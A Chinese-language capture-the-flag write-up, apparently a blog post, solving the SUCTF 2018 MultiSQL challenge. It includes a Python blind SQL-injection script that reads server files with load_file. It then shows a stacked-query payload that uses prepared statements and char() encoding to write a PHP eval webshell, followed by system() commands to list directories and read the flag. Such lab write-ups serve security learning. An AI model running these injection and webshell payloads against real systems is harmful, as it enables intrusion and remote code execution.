[SUCTF 2018]MultiSQL

打开题目,是一个页面,只有登录 注册功能可以正常使用
在这里插入图片描述
先注册一个账号,注册后自动登录,登录之后看到
在这里插入图片描述
在用户信息处可以查看到自己的信息
在这里插入图片描述
编辑头像处可以上传头像图片,可能存在文件上传漏洞
前端对文件后缀名进行了过滤,但是上传php文件,存入的依旧是图片文件
在这里插入图片描述
那再看看刚才的查看信息的页面,发现url如下
http://e0063ae7-b2ce-42cd-bf4b-9341c0e87bf9.node3.buuoj.cn/user/user.php?id=2
将id的参数改为1
在这里插入图片描述
存在越权,也可能存在SQL注入,经过测试,存在bool注入,二次注入,也可以用异或注入,但是过滤掉很多关键的函数,其实flag也并不存在于数据库中,只有想办法Get shell才可以得到flag
不过依然可以查询到用户为root,尝试能否读取到文件
参考如下脚本

import requests
cookies = {
    "PHPSESSID":"dgd5o20rmto5h5oqh4hsvp4uu0"
}
data='0x'
flag=''
r=requests.session()
for i in range(9999):
    for i in range(1,127):
        #print (i)
        url='http://e0063ae7-b2ce-42cd-bf4b-9341c0e87bf9.node3.buuoj.cn/user/user.php?id=0^(hex(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))<'+data+str(hex(i)).replace('0x','')+')'
        result=r.get(url=url,cookies=cookies).text
        if 'admin' in result:
            data+=str(hex(i-1)).replace('0x','')
            flag+=(chr(i-1))
            print (flag)
            break
print(data)

在/var/www/html/user/user.php中发现是用mysqli_multi_query()函数进行sql语句查询的,可以多语句执行
/var/www/html//bwvs_config/waf.php添加了魔术引号函数
为了绕过单双引号,使用mysql的预处理语句:

    set @sql = concat('create table ',newT,' like ',old);
    prepare s1 from @sql;
    execute s1;

MySQL预处理参考文章
fuzz测试后发现过滤了union,select ,&,|,过滤了select然后存在堆叠注入的可以使用预处理注入,尝试写入shell,因为过滤了select等字符,使用char()绕过,需要执行的语句
select ‘<?php eval($_POST[_]);?>’ into outfile ‘/var/www/html/favicon/shell.php’;
使用脚本编程十进制:

str="select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';"
len_str=len(str)
for i in range(0,len_str):
	if i == 0:
		print('char(%s'%ord(str[i]),end="")
	else:
		print(',%s'%ord(str[i]),end="")
print(')')

运行结果
char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59)

payload

?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;

_=system('cd /;ls');
在这里插入图片描述
flag应该在WelL_Th1s_14_fl4g
查看flag
_=system('cd /;cat WelL_Th1s_14_fl4g ');

在这里插入图片描述

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值